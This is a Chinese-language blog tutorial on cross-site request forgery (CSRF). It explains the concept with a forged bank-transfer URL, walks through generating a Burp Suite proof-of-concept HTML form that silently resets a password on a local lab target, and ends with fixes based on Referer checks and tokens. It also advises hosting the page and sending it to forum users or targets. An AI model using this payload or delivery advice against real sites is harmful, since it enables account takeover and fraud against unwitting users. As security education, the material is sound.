WEB中的CSRF漏洞—Hack之路

WEB中的CSRF漏洞

介绍CSRF漏洞

CSRF (Cross-site request forgery,路站请求伪造)也被称为One Click Atac或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS), 但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF请求受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比XSS更具有危害性的

CSRF 漏洞的原理

其实可以这样理解CSRF:攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。CSRF能够做的事情包括:以目标用户的名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了目标用户的财产安全。举个例子,你想给某位用户转账100元,那么单击“转账”按钮后,发出的HTTP请求会与http://www.xxbank com/pay.php?user=xx&money=100类似。而攻击者构造链接(http://www.xxbank. com/pay.php?user=hack&money=100),当目标用户访问了该URL后,就会自动向Hack账号转账100元,而且这只涉及目标用户的操作,攻击者并没有获取目标用户的cookie或其他信息。

CSRF的攻击过程有以下两个重点

  • 目标用户已经登录了网站,能够执行网站的功能
  • 目标用户访问了攻击者构造的URL

利用CSRF漏洞

CSRF漏洞经常被用来制作蠕虫攻击,刷SEO流量,恶意修改密码等。下面以恶意修改密码为例为例,我们先
1.输入新密码
WEB中的CSRF漏洞---Hack之路
2.使用burpsuite抓包,可以看到在Burp中,有一个自动构造CSRF Poc的功能(右击-Engagementtools-Generate CSRF POC)
WEB中的CSRF漏洞---Hack之路
3.Burp Suite会生成一段HTML代码,此HTML代码即为CSRF漏洞的测试代码,点击Copy HTML 按钮
WEB中的CSRF漏洞---Hack之路

<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<script>history.pushState(”, ”, ‘/’)</script>
<form action=”http://192.168.0.106/vulnerabilities/csrf/”>
<input type=”hidden” name=”password&#95;new” value=”123456″ />
<input type=”hidden” name=”password&#95;conf” value=”123456″ />
<input type=”hidden” name=”Change” value=”Change” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>

将POC发送给网站的论坛或者攻击目标,一旦点击自动修改密码(html文件,放在自己服务器上让他可以在外网运行的链接发出去)

针对CSRF漏洞的修复,读者给出以下这两点建议。

  • 验证请求的Referer值,如果Referer是以自 己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果Referer是其他网站域名或空白,就有可能是CSRF攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。
  • CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端验证token,如果请求中没有token或者token的内容不正确,则认为该请求可能是CSRF攻击从而拒绝该请求

 

网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/09/29/web%e4%b8%ad%e7%9a%84csrf%e6%bc%8f%e6%b4%9e-hack%e4%b9%8b%e8%b7%af/

发表评论

邮箱地址不会被公开。 必填项已用*标注